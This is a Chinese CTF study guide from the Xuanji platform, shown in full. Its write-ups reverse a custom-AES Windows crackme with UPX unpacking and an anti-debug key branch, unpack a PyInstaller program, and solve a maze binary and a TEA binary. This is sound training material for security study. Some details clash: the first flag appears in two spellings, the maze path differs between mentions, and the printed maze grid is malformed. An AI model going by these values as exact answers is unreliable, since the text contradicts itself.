

XUANJI / CTF TRAINING LOG

玄机平台 CTF 刷题指南

按题目类型编排

题目信息、详细 WP 与零基础知识点

截止日期：2026 年 9 月 29 日

解题过程按附件数据与可复现步骤整理

目录

第一章 逆向工程 (REVERSE)	4
1.1 2024 铁人三项决赛 CTFRE-crazyaes (ID #81)	4
1.1.1 题目信息与结论	4
1.1.2 先建立证据边界	4
1.1.3 格式识别、PE 头修复与 UPX 解包	5
1.1.4 先从调用链确认输入、目标值和比较规则	5
1.1.5 排除反调试导致的 key 分支差异	5
1.1.6 从 AES 结构逐轮还原自定义变换	6
1.1.7 逆向解密、候选与独立复算	7
1.1.8 用题目程序作本地验证	7
1.1.9 常见误区与复现资料	8
1.2 商丘师范学院第四届网络安全及信息对抗大赛唧唧复唧唧，木兰当户织 (ID #527)	8
1.3 商丘师范学院第四届网络安全及信息对抗大赛即随本心 (ID #528)	8
1.4 商丘师范学院第四届网络安全及信息对抗大赛慕然回首，那人却在灯火阑珊处 (ID #530)	11
1.5 商丘师范学院第四届网络安全及信息对抗大赛你若安好便是晴 (ID #531)	14
1.6 商丘师范学院第四届网络安全及信息对抗大赛往事暗沉不可追 (ID #535)	17
1.7 商丘师范学院第四届网络安全及信息对抗大赛遇事不决，可问春风 (ID #536)	19
1.8 湘岚杯 ezbase (ID #537)	21
1.9 湘岚杯 cryptor (ID #539)	23
1.10 湘岚杯 maybesignin (ID #540)	26
1.11 第二届 Parloo 杯 RE PaluFlat (ID #547)	29
1.12 第二届 Parloo 杯 PaluGOGOGO (ID #548)	35
1.13 第二届 Parloo 杯 ParlooChecker (ID #549)	40
1.14 第二届 Parloo 杯 PositionalXOR (ID #550)	44
1.15 第二届 Parloo 杯「帕鲁迷宫」(ID #551)	45
1.16 第九届“强网杯”全国网络安全挑战赛 Butterfly (ID #552)	46
1.17 第九届“强网杯”全国网络安全挑战赛 tradre (ID #554)	50

1.18	第三届黄河流域公安院校网络安全技能挑战赛 Victory_Melody (ID #555)	51
1.19	第三届黄河流域公安院校网络安全技能挑战赛 go_for_it (ID #556)	52
1.20	第三届黄河流域公安院校网络安全技能挑战赛 qgd (ID #557)	53
1.21	第三届黄河流域公安院校网络安全技能挑战赛 R (ID #558)	53
1.22	第一届 OpenHarmony arkt (ID #559)	58
1.23	第一届启航杯 note (ID #563)	62
1.24	第一届启航杯 rainbow (ID #564)	63
1.25	2026 安网杯-闸机票根 (ID #589)	63
1.26	商丘师范学院第四届网络安全及信息对抗大赛 ezRe (ID 未确认)	64
1.27	商丘师范学院第四届网络安全及信息对抗大赛 (校外赛) 不劳春风解我忧 (ID 未确认)	64
1.28	商丘师范学院第四届网络安全及信息对抗大赛圣人当仁不让 (ID #533)	65
1.28.1	从输入流程找到比较目标	65
1.28.2	解释缺失的末字节	65
1.29	商丘师范学院第四届网络安全及信息对抗大赛天下谁人不识君 (ID #534)	66
1.29.1	附件和核心源码	66
1.29.2	为什么注释会误导	66
1.30	第一届 OpenHarmony secret (ID #561)	67
1.30.1	从 HAP 里恢复提示	67
1.30.2	独立分析九宫格路径与提示矛盾	67
第二章	密码学 (Crypto)	68
2.1	第九届 XCTF 国际网络攻防联赛总决赛-Tch3s (ID #286)	68
2.2	2025 鹏城杯-babyRSA (ID #358)	69
2.3	第三届“长城杯”初赛-EzFlag (ID #367)	71
2.4	第二届 CCF 智能汽车大赛 Digital Key UWB (ID #520)	72
2.5	2026 安网杯-五格电文 (ID #586)	73
2.6	2026 安网杯-联号回执 (ID #587)	73
2.7	2026 安网杯-密钥生成审计 (ID #588)	74
第三章	杂项与数字取证 (MISC)	76
3.1	2026 安网杯-Veiled Shell (ID #580)	76
3.2	2026 安网杯-外泄流量取证 (ID #581)	79
3.3	2026 安网杯-像素囚笼 1 (ID #583)	80
3.4	2026 安网杯-可疑流量分析 (ID #584)	81
3.5	2026 安网杯-班次邮戳 (ID #585)	83

第四章 人工智能与数据题 (AI)	85
4.1 2026 安网杯-Prompt Trace (ID #590)	85
4.2 2026 安网杯-Poisoned Samples (ID #591)	87
第五章 二进制利用 (PWN)	88
5.1 第十八届 CISCN 决赛 CTF-车联网安全 mqtt (ID 未确认)	88
第六章 渗透与服务安全	89
6.1 webmin 未授权远程代码执行漏洞 (ID #428)	89
6.2 Redis 未授权导致远程代码执行 (ID #442)	90
第七章 安全事件响应	91
7.1 2026CCF-Sql 注入的应急排查 (ID #450)	91
7.2 2026CCF-被入侵的数据库 (ID #451)	92

第一章

逆向工程（REVERSE）

本类知识点：逆向题从文件格式、字符串和程序控制流入手；先确认输入如何被处理、比较，再按相反顺序还原变换。

1.1 2024 铁人三项决赛 CTFRE-crazyaes（ID #81）

题目信息：玄机 ID #81；类型 REVERSE；难度极难。

零基础知识点：PE 是 Windows 可执行文件格式，UPX 是常见压缩壳。自定义 AES 通常复用标准轮结构但改了顺序或常量，因此要逐项对比标准算法。

1.1.1 题目信息与结论

- 附件：crazyaes.exe；原始文件 SHA-256：924E14635E4ECA8823EDC8FC7F857A58F1EA1FEEDBE8210B3585E381C968280C
- 本地验证：候选输入送入修复后静态解包的程序，得到 WOW!!!
- Flag：flag{Re_1ts_fn}

本题使用本地附件做离线静态逆向。没有把原始附件直接运行；所有头部修复与解包都在工作副本上进行。没有用联网搜索。

1.1.2 先建立证据边界

题目提供 Windows PE 文件。初始字符串看起来像自定义 AES 检查器：程序读取 flag，将 16 字节输入块做变换后与编译进程序的目标常量比较。文件头有损坏迹象，因此先核对原件哈希，再只制作副本供分析。分析过程中将“程序格式修复”“UPX 解包”“算法反推”“本地运行验证”分成独立步骤，避免把解包器误报或错误候选当成答案。

附件原件：

路径：D:\Downloads\crazyaes-20240524094418-p72tac5.zip

ZIP 大小: 155,757 bytes

解压程序: crazyaes.exe, 158,720 bytes

SHA-256: 924E14635E4ECA8823EDC8FC7F857A58F1EA1FEEDBE8210B3585E381C968280C

1.1.3 格式识别、PE 头修复与 UPX 解包

初始 PE signature 的首字节在文件偏移 0x108 处异常。我们没有覆盖原始文件，而是复制后恢复分析副本的 PE 签名，再准备 UPX 输入副本。早期尝试用自写 NRV 解压器解析时遇到输出边界错误；它只是说明自写解码器假设不完整，不构成附件损坏的结论。随后对照官方 UPX 5.2.0 静态解包成功，得到 527,872 字节的 unpacked PE。

关键工作副本：

```
crazyaes-headerpatched.exe  158,720 bytes
crazyaes-upxready.exe       158,720 bytes
crazyaes-upx-unpacked.exe    527,872 bytes
```

之后用 PE section header 的 raw offset 与 RVA 对照数据。曾把.data 的虚拟地址差错地当作文件偏移，读到一片零值；重新读取 section table 并按 PointerToRawData 修正映射后，才在正确位置读到 AES key。这个修正是关键排错点：PE 内存地址不能直接当文件偏移。

静态反汇编定位到入口逻辑约 0x43b3c0。程序逐字节读入直到换行，只把前 16 bytes 放入状态块，执行自定义 AES 后与目标 16 bytes 比较。目标状态为：

```
B4 38 36 30 1E 68 48 57 51 01 B7 03 9B 98 E3 7E
```

不相等打印 wrong!!!，相等打印 WOW!!!。这意味着可以离线还原恰好 16 bytes 的输入，不必猜更长的数据。

1.1.4 先从调用链确认输入、目标值和比较规则

静态检查主函数的调用关系，逐项记录：1. 提示串为 flag:，输入按字符读到换行。2. 程序最多把前 16 个输入字节复制到状态块；末尾的换行不是 flag 内容。3. 加密结果与 16 字节常量比较。4. 比较相同进入正确分支，输出 WOW!!!；否则输出 wrong!!!。5. 全局数据附近可见 key 和 AES 参数：key-size 0x80、Nr=10、Nk=4、Nb=4，符合 AES-128 的轮数/字数设置。6.S-box 在 VA 0x4a1ea0；key 全局在 VA 0x4ae000；解包后.data 的 raw offset 是 0x7b200。初次用错误文件偏移取值读到零，修正 section 映射后读到 ASCII key。

静态 key bytes 是：

```
ga!43jJKgfjGMeAR
```

1.1.5 排除反调试导致的 key 分支差异

初始化函数约 0x439cb0 调用 GetCurrentProcess 和 CheckRemoteDebuggerPresent。若没有检测到远程调试器，它会把 key 第 3 个索引（零起算）的字符写成 h；若检测到调试器，则保留原始!。因此：

- 正常、无调试器运行的 key: gah43jJKgfjGMeAR
- 调试器存在时的 key: ga!43jJKgfjGMeAR

这不是装饰性逻辑：两条运行路径会产生不同输入。为了对照，我们把两种 key 都代入完整实现；两者都能正向映射到程序中的目标 16 字节，但只有正常执行路径解出符合 flag 格式的 ASCII 文本。这个双向对照同时验证了 key 分支分析和 AES 实现。

1.1.6 从 AES 结构逐轮还原自定义变换

程序主体借用了 AES-128 的结构，但不能直接调用标准 AES 解密，因为每轮又添加了自定义操作。逐个辅助函数确认：

密钥扩展

- RotWord 执行字节循环旋转。
- SubWord 直接使用标准 AES S-box，不带下面状态 SubBytes 的额外变换。
- Rcon 通过字节序调整后异或到轮密钥。
- Nk=4、Nr=10，生成 11 组轮密钥。
- AddRoundKey 对 16-byte state 与对应轮密钥逐字节 XOR。

状态变换

- ShiftRows 是标准 AES 行循环左移，行号即偏移量。
- MixColumns 使用标准 AES 矩阵和 $GF(2^8)$ 多项式，xtime 约在 0x43ad70；约简常数为 0x1B。
- 关键自定义点一：状态 SubBytes 在标准 S-box 查表后，再将每个结果字节 XOR 0xA1。注意 key schedule 的 SubWord 不做这一层 XOR。
- 关键自定义点二：MixColumns 的每个输出字节另 XOR 0x54。
- 关键自定义点三：每次 AddRoundKey 后都 XOR 固定 16-byte round mask：

00 01 02 03 01 00 03 02 02 03 00 01 03 02 01 00

轮数顺序

程序循环从 round 0 开始：

- round 0 只执行 AddRoundKey(0)，跳过 SubBytes、ShiftRows、MixColumns。
- rounds 1-9 执行 SubBytes → ShiftRows → MixColumns → AddRoundKey，然后 XOR round mask。
- round 10 执行 SubBytes → ShiftRows → AddRoundKey，然后 XOR round mask；与标准 AES 一样省略最后一轮 MixColumns。

因此解密时必须反向撤销每一步，并且必须在逆 MixColumns 前去掉对应的 0x54；round mask 也要在每一轮正确撤销。最初漏掉 round mask、0x54 或 SubBytes 的 0xA1 中任意一项，都会给出完全不

同的明文。

1.1.7 逆向解密、候选与独立复算

实现脚本文件：crazyaes_custom_aes.py。它分别对无调试器与有调试器 key 做完整的自定义 AES 逆运算，然后再将结果正向加密回目标密文。记录输出：

```
no_debugger_h_mutation:
    key_hex=67616834336A4A4B67666A474D654152
    plaintext_hex=666C61677B52655F3174735F66306E7D
    plaintext_bytes=b'flag{Re_1ts_f0n}'
    custom_roundtrip=B43836301E6848575101B7039B98E37E
    matches_target=True

debugger_present_original:
    key_hex=67612134336A4A4B67666A474D654152
    plaintext_hex=8C7B7A19E30731554EE414D4F9F5D9A3
    custom_roundtrip=B43836301E6848575101B7039B98E37E
    matches_target=True
```

正常路径解出的字节共 16 个，包含可打印 ASCII，结构为：

```
flag{Re_1ts_f0n}
```

大小写、数字 1 与 0 都按原样保留。先前未正确实现所有自定义轮变换时，本地候选的程序回显为 wrong!!!;

1.1.8 用题目程序作本地验证

为了让控制台不受非 ASCII 字节编码影响，把精确 ASCII 候选写为 16 bytes，再附换行构成 17-byte stdin 文件，然后将 stdin 重定向给静态解包的工作副本。关键命令：

```
[byte[]]$candidateInput = [System.Text.Encoding]::ASCII.GetBytes('flag{Re_1ts_f0n}')
[Array]::Resize([ref]$candidateInput, 17)
$candidateInput[16] = 0x0A
[System.IO.File]::WriteAllBytes((Join-Path (Get-Location).Path 'crazyaes-flag-input.bin'),
↪ $candidateInput)
& cmd.exe /c '.\crazyaes-upx-unpacked.exe < .\crazyaes-flag-input.bin'
```

真实本地输出末尾：

```
flag:WOW!!!Press any key to continue . . .
```

乱码提示来自 Windows 控制台代码页，只影响前面的非 ASCII banner；ASCII 判定串 WOW!!! 清楚可见。错误候选在相同程序中输出 wrong!!!，所以这个输出是本地独立验证。

1.1.9 常见误区与复现资料

- 不要直接执行有损坏 PE 头的原附件；对分析副本修复，并先记录原件哈希。
- UPX 自写解包器失败不代表样本损坏；用 section/RVA 映射和可靠解包工具分离问题。
- PE RVA、VA 与 raw file offset 是不同坐标；读取 key 前先映射 section。
- 不能把“使用 AES”理解为“标准 AES”：SubBytes 的 0xA1、MixColumns 后的 0x54、每轮掩码都会改变逆运算。
- 反调试分支会修改 key；必须以实际运行路径判定用哪个 key。
- 不能只依赖自写解密器输出；

1.2 商丘师范学院第四届网络安全及信息对抗大赛唧唧复唧唧，木兰当户织 (ID #527)

题目信息：玄机 ID #527；类型 REVERSE；难度中等。

零基础知识点： Base64 是可逆编码，不是加密。反汇编中要从调用关系确认常量是否会被解码输出，并注意分组连字符的位置不能通过逐次插入改变索引。

- **Flag:** flag{08174158-ccb5-4d03-93aa-9ef1}。
- 附件 ZIP (SHA-256 8E267FD489F7AF515B59C738ADC4940537BBE9D5732E507AA939FD3E9B33E60E) 内只有一个 18,944 字节 PE32+ x86-64 控制台程序。用 strings -t x 找到文件偏移 0x2400、.rdata RVA 0x140004000 的 Base64 常量: ZmxhZ3swODE3NDE1OC1jY2I1LTRkMDMtOTNhYS05ZWYxfQ==。
- 反汇编函数 0x1400029f0 从 .rdata 取该串，按每四个 Base64 字符还原字节；函数末尾调用导入跳板 0x1400028b8，导入表确认它对应 puts。因此程序会解码并打印此常量，而非仅把它作为孤立字符串保存。
- 标准 Base64 解码得到 ASCII flag{08174158-ccb5-4d03-93aa-9ef1}；重新编码与附件常量逐字符一致。直接运行附件亦输出相同 flag、退出码为 0。题面提醒区分中英文标点，输出保留 ASCII 花括号和短横线。
- 完整中文 WP、原始 ZIP、提取程序、复现脚本、完整反汇编及命令/输出记录：题目资料/题目分类/逆向工程/木兰当户织_527/。

1.3 商丘师范学院第四届网络安全及信息对抗大赛即随本心 (ID #528)

题目信息：玄机 ID #528；类型 REVERSE；难度简单。

零基础知识点： PyInstaller 会把 Python 字节码打包进可执行文件；静态读取归档和反汇编可以看清校验逻辑，而不用运行陌生程序。AES-CBC 解密还要正确处理 IV 与填充。

- 题目：商丘师范学院第四届网络安全及信息对抗大赛 即随本心

- 题目 ID: 528
- 附件: 即随本心.exe (放在 ZIP 中)
- 解法概述: 不运行 EXE, 静态解析 PyInstaller 的 CArchive, 提取 Python 主脚本, 按程序中的 AES-CBC 校验逻辑解密内置目标密文。

4. ZIP 只有一个文件: 即随本心.exe, 原始大小 13,095,886 字节、压缩大小 12,817,780 字节。5. 解压至 C:\Users\mzj\Desktop\CTF\即随本心-附件\即随本心.exe。EXE 的 SHA-256 为 2E4C213156658B8CC2047F93CA555F1121E0A75BAC19C8B5FD04A9DF6985C27D。文件没有数字签名。

用于列出 ZIP 项和解压的命令:

```
$zip = 'D:\Downloads\即随本心.zip'
$z = [IO.Compression.ZipFile]::OpenRead($zip)
try { $z.Entries | Select-Object FullName,Length,CompressedLength }
finally { $z.Dispose() }

$dst = 'C:\Users\mzj\Desktop\CTF\即随本心-附件'
if (-not (Test-Path -LiteralPath $dst)) {
    New-Item -ItemType Directory -Path $dst | Out-Null
}
Expand-Archive -LiteralPath $zip -DestinationPath $dst -Force
Get-FileHash -LiteralPath (Join-Path $dst '即随本心.exe') -Algorithm SHA256
```

只读取文件结构和数据, 没有启动 EXE。初检结果:

- DOS 签名 MZ; PE 头偏移 0xF8, PE 签名 PE\0\0。
- 机器类型 0x8664 (x64), PE32+, ImageBase 0x140000000, 共 6 个节。
- 最后一个 PE 节结束于 0x63400, 其后有约 12.7 MB 的 overlay。大量 Python 运行库字符串以及 PyInstallerOnefileHiddenWindow 字符串, 说明这是 PyInstaller one-file 程序。
- 入口点、Windows 导入表不是解题重点; 目标脚本被压在 overlay 的 PyInstaller 归档中。

PyInstaller 归档尾部有固定 Cookie 魔数 MEI\x0c\x0b\x0a\x0b\x0e。在本文件中找到的位置和字段:

- 字段: Cookie 偏移; 值: 0xC7D376; 解释: 文件尾部的归档索引
- 字段: Cookie 长度; 值: 88 字节; 解释: PyInstaller one-file Cookie
- 字段: Python 版本; 值: 312; 解释: Python 3.12
- 字段: 归档起点; 值: 0x63400; 解释: 文件 overlay 起始位置
- 字段: TOC 相对偏移; 值: 0xC187C6; 解释: 归档内的目录表位置
- 字段: TOC 长度; 值: 0x17B0; 解释: 目录表字节数
- 字段: TOC 条目数; 值: 117; 解释: 归档条目总数

TOC 中主脚本条目名为 aes 题目加强反调试, 类型为 s, 压缩长度 1,039 字节, 解压长度 1,472 字节。它是 zlib 压缩的 Python marshal code object。用 marshal.loads 读取代码对象并用 dis.dis 反汇编, 只解析字节码, 没有执行它。

PyInstaller TOC 核心解析代码如下。TOC 条目记录由 !IIIIIBB 固定头和 NUL 结尾的名称组成，条目中的数据偏移相对于归档起点：

```
import struct, zlib, marshal, types, dis

cookie_magic = b'MEI\x0c\x0b\x0a\x0b\x0e'
cookie = data.rfind(cookie_magic)
_, package_len, toc_offset, toc_len, py_version = struct.unpack_from(
    '!8sIIII', data, cookie
)
archive_start = len(data) - package_len
toc_start = archive_start + toc_offset
toc_end = toc_start + toc_len

pos = toc_start
while pos < toc_end:
    entry_size, offset, compressed_len, raw_len, compressed, type_id = \
        struct.unpack_from('!IIIIIBB', data, pos)
    raw_name = data[pos + 18 : pos + entry_size].rstrip(b'\0')
    name = raw_name.decode('utf-8', errors='replace')
    if type_id == ord('s') and name.startswith('aes'):
        packed = data[archive_start + offset : archive_start + offset + compressed_len]
        pyc_code = zlib.decompress(packed) if compressed else packed
        main_code = marshal.loads(pyc_code)
        dis.dis(main_code) # 反汇编查看，不调用 exec/eval
    pos += entry_size
```

主脚本常量和指令表明：

1. `is_debugging()` 调用 `sys.gettrace()`；若返回非空，就输出“检测到调试器，程序终止。”并退出。这是反调试检查。
2. `key = b'1234567890abcdef', iv = b'1234567890abcdef'`。3. 创建 `AES.new(key, AES.MODE_CBC, iv)`。4. 读取用户输入并 UTF-8 编码，使用 `PyCryptodome` 的 `pad()` 对齐 AES block size (PKCS#7)。5. 计算 `base64(iv + AES_CBC_encrypt(pad(输入)))`，并与内置目标字符串比较。6. 完全匹配时输出“密文匹配，正确！”。因此目标字符串可直接作为已知明文 AES 密文来逆向恢复输入，不需要启动程序或绕过调试器。

程序中的期望密文：

```
MTIzNDU2Nzg5MGFiY2RlZlzf7ftomnVhJSTZsFM/90ZVUQ5GLwSnIogV7pf0o2iJlVK8/1XPcBzaPYPZMM150Q==
```

按代码先 Base64 解码：总长 64 字节。程序把 IV 与密文拼在一起编码，所以前 16 字节是 IV，余下 48 字节是三个 AES block 的 CBC 密文。前 16 字节也与代码中的 key 一致。

然后使用同一 key / IV 做 AES-128-CBC 解密，并移除 PKCS#7 padding，得到：

```
flag{316d168f-e854-43a6-9996-5eb10c7efdec}
```

可复核的 Python 代码 (使用本机已安装的 cryptography):

```
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7

key = b'1234567890abcdef'
expected = (
    'MTIzNDU2Nzg5MGFiY2RlZlzf7ftomnVhJSTZsFM/90ZVUQ5GLwSnIogV7pf0o2iJ'
    'lVK8/1XPcBzaPYPZMM150Q=='
)

raw = base64.b64decode(expected)
iv, ciphertext = raw[:16], raw[16:]

decryptor = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
padded = decryptor.update(ciphertext) + decryptor.finalize()
unpadder = PKCS7(128).unpadder()
flag_bytes = unpadder.update(padded) + unpadder.finalize()
flag = flag_bytes.decode('utf-8')
print(flag)

# 将结果按题目程序的方式重新加密, 确认完全等于内置期望密文。
padder = PKCS7(128).padder()
check_data = padder.update(flag_bytes) + padder.finalize()
encryptor = Cipher(algorithms.AES(key), modes.CBC(iv)).encryptor()
check = base64.b64encode(iv + encryptor.update(check_data) + encryptor.finalize())
print('matches expected:', check.decode() == expected)
```

复算输出 matches expected: True。这确认 key、IV、模式、padding 和 Flag 都与程序的比较逻辑一致。

本题验证通过。

- 本题附件: C:\Users\mzj\Desktop\CTF\即随本心-附件\即随本心.exe
- 本题记录: C:\Users\mzj\Desktop\CTF\即随本心-解题记录.md
- 前一题 Veiled Shell 的完整流量分析记录: Veiled Shell 解题记录

1.4 商丘师范学院第四届网络安全及信息对抗大赛慕然回首, 那人却在灯火阑珊处 (ID #530)

题目信息: 玄机 ID #530; 类型 REVERSE; 难度中等。

零基础知识点: BFS 可以求迷宫的最短路径, 但输入的行列坐标和方向字符必须先统一。程序给出的成功提示若只验证到终点, flag 格式仍需按题面推导。

题目附件是一个 64 位 Windows 控制台迷宫程序。迷宫没有加密, 直接以 10×10 字符数组保存在 PE 的 .data 段。按程序的方向定义从 S 走到 E, 唯一的最短路为:

ddddddssaaaaassdddssaa

按程序自己的提示格式推得候选 flag:

flag{ddddddssaaaaassdddssaa}

验证边界: 静态代码确认程序到达 E 后只打印提示, 不在程序内比较 flag; 附件足以恢复候选, 但候选应由附件中的校验逻辑和数据格式交叉核对。

分析对象限定为题目目录中的 originals/tom.zip 与 extracted/Jerry.exe。ZIP 中仅有一个成员 Jerry.exe; 成员 CRC-32 为 66697c1e, 解压后大小为 159,118 字节, ZIP 完整性检查通过。ZIP 成员与现有 extracted/Jerry.exe 逐字节相同。

文件	大小	SHA-256
originals/tom.zip	51,073 字节	15832F8EA58617B1D40050CB DEB138E92A1DFA2E9DBEBEC1 AF25446306B99EE9
extracted/Jerry.exe	159,118 字节	6E1E38D0C0036AC10EBA97D0 4F698C1B3771805A8F5B101A 6328EC3583364BFF

关键 PE 属性来自文件头静态解析及 objdump -x: PE32+、机器类型 0x8664 (x86-64)、Windows 控制台子系统、18 个节、映像基址 0x400000、入口 RVA 0x1500 (VA 0x401500)。用户代码 main 位于 VA 0x401530。节表中有 .text、.data、.rdata、.pdata、.xdata、.bss、.idata、.CRT、.tls 和若干调试节。COFF 头记录了 1,488 个符号; 节数据后的 33,166 字节正好由 COFF 符号表 (26,784 字节) 和字符串表 (6,382 字节) 解释, 二者结束偏移为 0x26d8e, 与文件长度相等。

导入表只有 KERNEL32.dll 和 msvcrt.dll, 包括 scanf、puts、exit 等常规控制台/运行库函数; 未见加密库、LoadLibrary 或 GetProcAddress 导入。Security Directory 为零。PE 时间戳字段解读为 2025-03-25 12:45:15 UTC, 字符串中还留有 GCC 4.9.2 与 C:\Users\86131\Desktop\Jerry.cpp 等构建路径信息; 这些都是二进制内的构建元数据, 不能单独作为可信的来源证明。

可复现解析器和机器可读结果分别在 analysis/static_analyze.py、analysis/static_analysis.json。所有 PowerShell 命令和完整标准输出/错误输出 (包括失败尝试与修正) 记录于 analysis/commands_output.log。脚本只读取 ZIP/EXE 字节、解析 PE 结构和搜索迷宫, 不启动或加载 EXE; 可从题目目录运行:

```
python analysis/static_analyze.py
```

objdump 的 .data 转储在 VA 0x403040 显示迷宫起始字节 53 2a 2a 2a ..., 即 ASCII S****...。PE 映射关系将它定位到 RVA 0x3040、文件偏移 0x2640。从这里连续读取的 100 字节只含 S、E、*、#, 按程序的行宽 10 切分为:

```
S#####
#####
#####
#####
#####
#####
##E#####
#####
#####
#####
```

在 main 中，当前行号保存在全局 x (VA 0x407030)，列号保存在 y (VA 0x407034)。二者位于 .bss，初值为零；起点因此是 (0,0)。地址计算指令由 x 乘 10 再加 y，访问 maze[x*10+y]。终点 E 位于零起点坐标 (6,2)。

main 首先在 0x40153d-0x40155c 打印欢迎语、方向说明和输入提示，然后在 0x401561-0x40156f 以格式串 %c 读取一个字符。格式串位于 VA 0x404079；相关提示字符串位于 .rdata，偏移可在静态结果中查到。

控制流根据输入字符分支：w (0x77) 上移、a (0x61) 左移、s (0x73) 下移、d (0x64) 右移。每个分支先确认坐标不越界，再检查目标格是否为 #；仅当目标不是墙时才更新坐标。由此可还原为：

```
while true:
    move = scanf("%c")
    if move == 'w' and x > 0 and maze[(x-1)*10+y] != '#': x -= 1
    elif move == 'a' and y > 0 and maze[x*10+(y-1)] != '#': y -= 1
    elif move == 's' and x <= 8 and maze[(x+1)*10+y] != '#': x += 1
    elif move == 'd' and y <= 8 and maze[x*10+(y+1)] != '#': y += 1
    elif move not in 'wasd':
        puts("Invalid move!")
        continue
    if maze[x*10+y] == 'E':
        puts("You are so clever! This is Jerry!")
        puts("xixi Now enter the flag in the format 'flag{your_path} ':")
        exit(0)
```

指令证据：方向比较在 0x40157b-0x40159f；四个移动分支读取并比较 # 后更新 x 或 y，大致位于 0x4015a5-0x4016f3；非法字符打印分支从 0x4016f5 开始；0x401703-0x401735 读取当前位置并比较 E；成功分支在 0x401737-0x401754 打印两条消息并调用 exit(0)。成功提示后没有下一次 scanf，也没有与 flag 常量进行比较。输入按 %c 每次消费一个字符；如果在抵达终点前读到换行，换行会落入非法字符分支。

将每个非墙格视作图节点，四邻接边分别标为 w/a/s/d，用 BFS 从 S 搜索到 E。analysis/static_analyze.py 同时统计最短路径数量并逐步模拟所得路径；结果是长度 22，最短路径数为 1，终点字符为 E。路线分段如下：

输入	到达坐标 (行, 列)	说明
起点	(0,0)	S
d×6	(0,6)	沿首行向右
s×2	(2,6)	沿通道向下
a×5	(2,1)	第二条通道向左
s×2	(4,1)	沿左侧通道向下
d×3	(4,4)	向右到竖直通道
s×2	(6,4)	向下到末行
a×2	(6,2)	到达 E

因此路径字符串为 dddddssaaaaassdddssaa。每步都在边界内且目标格不是墙，末步落在 E。格式化后得到前述候选 flag{ddddddssaaaaassdddssaa}。

这里没有需要逆向的加密算法：迷宫字符直接以 ASCII 明文存放在 .data，程序逻辑只执行移动、墙格过滤和终点判断。analysis/static_analyze.py 独立从 PE RVA 映射读取这些字节、按 10 列还原网格、用 BFS 求路，并静态模拟所有移动；这些检查验证了路径与二进制中迷宫及控制流的一致性。

由于不运行/加载 EXE，本报告没有程序运行时交互结果。静态 BFS 与逐步模拟确认唯一最短路径；提示文本末尾的空格不是 flag 的一部分。

- 静态求得候选：flag{ddddddssaaaaassdddssaa}
- 候选来源是迷宫唯一最短路与程序提示格式的静态推导；程序自身不执行 flag 比较。

1.5 商丘师范学院第四届网络安全及信息对抗大赛你若安好便是晴(ID #531)

题目信息：玄机 ID #531；类型 REVERSE；难度中等。

零基础知识点：TEA 是基于 32 位加法、异或和移位的分组密码。端序、delta、轮数和密钥字顺序必须完全匹配；解密后还要检查填充并做正向加密闭环。

按 PE 中的固定数据和代码路径逐字节复现，解密结果为：

flag{9e76e57b-a921-4cbc-8}

该程序没有把结果打印出来，候选来自静态恢复；本分析没有运行或加载 EXE，也未查阅公开 Writeup。

题目目录中有 originals/are_you_ok.zip 和预先提取的 extracted/你好吗.exe。ZIP 只有一个文件 你好吗.exe，大小 132,122 字节；归档内成员与已提取文件逐字节相同。ZIP 使用 DEFLATE，归档大小为 42,546 字节。

文件	大小	SHA-256
originals/are_you_ok.zip	42,546 bytes	F0DC4577D9C540ACCAF2A8B3 C819028EC6091723295ED705 228813158350F9E3
extracted/你好吗.exe (也是 ZIP 唯一成员)	132,122 bytes	ACDFEF34BEBCEBA03213C6CB2 70087ADD291B6692040A4854 E8A2C007C42ADDF8

静态 PE 头表明它是 Windows AMD64 PE32+、控制台子系统 (Subsystem 3)，入口 RVA 0x1500，17 个节。PE 保留 COFF 符号和调试相关节；符号表给出题目函数 main、sub_100、sub_101、sub_102。关键例程的映像 RVA 如下：

函数	RVA 范围	职责 (根据指令恢复)
sub_100	0x1530-0x158a	按参数值逐字节 XOR
sub_101	0x158a-0x1660	对 8 字节块做 32 轮 TEA 解密
sub_102	0x1660-0x16aa	用末字节计算截断位置并写 NUL
main	0x16aa-0x187e	建立密文、解析十六进制、调用上述函数

静态导入表只有 KERNEL32.dll 和 msvcrt.dll。未见资源目录或 CLR 头；main 和上述三个题目的指令中没有网络、文件或显示结果的调用。PE 节字符串含 GCC: (GNU) 4.9.2，表示此文件带有 MinGW/GCC 4.9.2 标记。

main 开头通过八条 movabs rax, imm64 把 ASCII 十六进制字符写入栈上字符串，顺序拼接后为 64 个字符：

```
a897992e43bbec378107069c951bb75120d6353e369e0cea530408b6fa0975d2
```

接着它用 strlen(hex) / 2 得到 32 个字节，并以格式串 %2hhx 逐对解析成字节数组。十六进制数据解析在 main RVA 0x17af-0x17e7；格式串位于 RVA 0x4000。

随后 main 初始化四个 32 位密钥字：

```
K[0] = 0x12345678
K[1] = 0x87654321
K[2] = 0xabcdef98
K[3] = 0x98fedcba
```

循环每次前进 8 字节，调用 sub_101，所以 32 字节密文被分为四个独立的 8 字节块。块内两个 32 位字按 x86-64 小端序读写。

反汇编可见 sub_101 先读取输入块的两个 unsigned int，设置初始 sum 为 0xC6EF3720、delta 为 0x9E3779B9，并将循环计数从 0 增加到 31 (共 32 次)。代码对 v1、v0 依次执行减法；加法、减法均按 32 位无符号算术回绕：

```
sum = 0xC6EF3720                # (0x9E3779B9 * 32) mod 2^32
repeat 32 times:
    v1 -= (((v0 << 4) + K[2]) ^ (v0 + sum) ^ ((v0 >> 5) + K[3]))
    v0 -= (((v1 << 4) + K[0]) ^ (v1 + sum) ^ ((v1 >> 5) + K[1]))
    sum -= 0x9E3779B9
```

这是固定四个密钥下的标准 TEA 反向轮函数（不是 XTEA 的按 sum 索引密钥形式）。指令证据包括函数内对两个块字的加载、立即数 0xC6EF3720/0x9E3779B9、位移 4 和 5、XOR、两次 dword 减法，以及计数器与 0x1f 比较后走 jbe 回边。反向顺序是先更新 v1，再更新 v0。

sub_102 调用 strlen，取字符串最后一字节，并用 movsx 将其作为有符号 char 扩展。然后在 buf[strlen(buf) - last] 写入 NUL。这相当于信任末字节指定的填充长度；函数没有逐字节验证填充内容。

本题解密后末尾恰好有六个 0x06，因此截断位置是 $32 - 6 = 26$ 。本例长度为正且在缓冲区内，不涉及该截断函数对负值或异常填充值的脆弱边界。

main 向 sub_100 传入 0x16。该函数遍历当前 C 字符串长度，对每个字节原地执行 $\text{buf}[i] \hat{=} 0x16$ 。注意 0x16 在 main 中先写入 [rbp+4] 局部变量，再重新加载作为第二参数；因此应从栈局部赋值而非假设立即数直接进入参数寄存器来识别它。

